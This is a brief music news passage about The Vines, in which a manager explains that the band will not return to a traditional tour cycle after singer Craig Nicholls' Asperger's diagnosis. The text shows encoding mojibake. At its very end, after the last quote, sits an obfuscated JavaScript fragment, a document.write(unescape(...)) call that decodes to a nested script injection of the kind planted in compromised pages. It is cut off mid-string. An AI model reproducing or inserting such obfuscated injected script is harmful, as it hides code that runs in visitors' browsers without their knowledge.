The future of The Vines was cast into doubt after singer Craig Nicholls was diagnosed with Asperger's Syndrome in November.

Andy Kelly â€" one of The Vines' three managers â€" told NME.COM: “They will never, ever tour like they did before, and playing shows is probably the last thing that will be worked out, really. When they've got enough songs that they're happy with and they feel ready to make an album; once that's done is probably when they think about how they want to do shows or if they want to do shows.”

He added: “But it's never going to work in a traditional ‘demo, record, release, tour' cycle again. It's going to be much more â€" probably - relaxed and… unconventional, I suppose."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
